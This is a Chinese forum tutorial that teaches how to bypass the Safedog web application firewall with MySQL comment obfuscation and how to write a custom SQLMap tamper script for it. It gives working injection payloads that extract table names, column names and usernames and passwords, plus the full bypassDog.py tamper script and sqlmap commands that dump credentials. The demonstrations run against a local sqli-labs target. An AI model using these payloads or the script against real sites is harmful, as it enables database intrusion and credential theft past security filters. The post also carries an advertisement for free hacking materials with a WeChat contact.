教你编写SQLMap的Tamper脚本过狗

打印 上一主题 下一主题

主题 853|帖子 853|积分 2561

测试环境

最新版某狗
[img=720,213.05423406279735]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543252.png[/img]

[img=720,361.38817480719797]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543255.png[/img]
测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆
一招鲜吃遍天下
注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%等
这里再解释一下内联注释,因为后面要用到:
MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行
但是如果!后面跟着MySQL版本号,那么就会出现两种情况
1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行
2. 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

!后面接小于50553的:

执行了select 1;
!后面接大于等于50553的:
[img=720,36.423529411764704]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543258.png[/img]
执行了 select ;
下面进入正题
bypass

and

and 1=1拦
[img=720,199.3615544760583]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543259.png[/img]
但是把空格删掉就不拦了
[img=720,153.635687732342]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543261.png[/img]
所以,我们认为,and后面不能直接跟空格...
那么如果用其他形式表示空格呢?
前面说了,我们这次只使用注释混淆:
burp,抓包设置
[img=720,111.35902636916836]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543262.png[/img]
[img=720,243.9825327510917]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543263.png[/img]
长度5335是被拦截的
[img=720,392.300163132137]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543264.png[/img]
长度为899的说明成功绕过
[img=720,435.2899824253076]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543265.png[/img]
我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*
即:->/*/*%**/
同理 ,or是一样的:
[img=720,178.39285714285714]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543266.png[/img]
order by

[img=720,342.0195439739414]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543267.png[/img]
测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:
[img=720,177.9699248120301]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543268.png[/img]
union select

[img=720,351.54285714285714]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543269.png[/img]
union select使用之前的垃圾字符替换空格发现不行了:
[img=720,347.4801708358755]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543270.png[/img]
但是先不急于换方法,再爆破一遍试试:
[img=720,427.4226804123711]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543271.png[/img]
[img=720,217.96875]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543272.png[/img]
发现又有很多可以绕过的了。
所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/
即:->/*/!%!/*/
[img=720,168.25806451612902]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543273.png[/img]
获得当前数据库

正常语句:
  1. ?id=-1 union select 1,database(),3 --+
复制代码
[img=720,303.7752808988764]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543274.png[/img]
绕过:
[img=720,166.71963677639047]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543275.png[/img]
即:()->(/*/!%!/*/)
获取数据库中的表

正常语句:
  1. ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
复制代码
[img=720,311.73534532791643]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543276.png[/img]
绕过:
经过测试发现拦截的是select + from + information_schema的组合
[img=720,307.30434782608694]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543277.png[/img]
[img=720,327.03923900118906]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543278.png[/img]
中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。
对information_schema进行混淆测试:
首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。
[img=720,390.70674248578393]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543279.png[/img]
考虑是检测了select + from + /*! + information_schema的组合
加个换行试试

还是不行...
那既然都换行了,那我们再在换行前加一些垃圾字符:
如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/或#或--+
但是经过测试只有 --+好用
[img=720,482.2535211267606]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543281.png[/img]
有这么多可以绕过的,我们随便选择一个,比如/*%/
这样,最终语句如下:
  1. ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
复制代码
[img=720,157.56461803561172]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543282.png[/img]
[img=720,151.46067415730337]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543283.png[/img]
获取表字段

正常语句:
  1. ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
复制代码
绕过语句:
  1. ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
复制代码
[img=720,125.53666828557552]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543284.png[/img]
获取字段信息
  1. ?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
复制代码
[img=720,138.6315789473684]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543285.png[/img]
成功。
编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:
[img=600,328.46333333333337]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543286.png[/img]
网上有很多相关脚本的介绍,我就不一一介绍了。
虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。
Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。
我们随便打开一个Tamper脚本看一下它的结构:
  1. #apostrophemask.py
  2. #!/usr/bin/env python
  3. """
  4. Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
  5. See the file 'LICENSE' for copying permission
  6. """
  7. # 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
  8. from lib.core.enums import PRIORITY
  9. # 定义脚本优先级
  10. __priority__ = PRIORITY.LOWEST
  11. # 对当前脚本的介绍
  12. def dependencies():
  13.    pass
  14. '''
  15. 对传进来的payload进行修改并返回
  16. 函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
  17. '''
  18. def tamper(payload, **kwargs):
  19.    """
  20.    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
  21.    References:
  22.        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
  23.        * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
  24.        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
  25.        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
  26.    >>> tamper("1 AND '1'='1")
  27.    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  28.    """
  29.    return payload.replace('\'', "%EF%BC%87") if payload else payload
复制代码
可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。
下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:
实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好
  1. #!/usr/bin/env python
  2. import re
  3. from lib.core.settings import UNICODE_ENCODING
  4. from lib.core.enums import PRIORITY
  5. __priority__ = PRIORITY.NORMAL
  6. def dependencies():
  7.    pass
  8. def tamper(payload, **kwargs):
  9.    if payload:
  10.        payload = payload.replace(" ","/*/!%!/*/")
  11.        payload = payload.replace("()","(/*/!%!/*/)")
  12.        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
  13.        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
  14.        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
  15.        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        
  16.    return payload
复制代码
测试:
  1. sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
复制代码
[img=720,441.99655765920824]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543287.png[/img]
  1. sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
复制代码
  1. sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
复制代码
[img=720,303.7424547283702]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543288.png[/img]
  1. python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
复制代码
[img=720,304.1029766693483]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543290.png[/img]
  1. sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
复制代码
[img=720,291.23595505617976]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202302221543291.png[/img]
更多靶场实验练习、网安学习资料,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

tsx81428

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表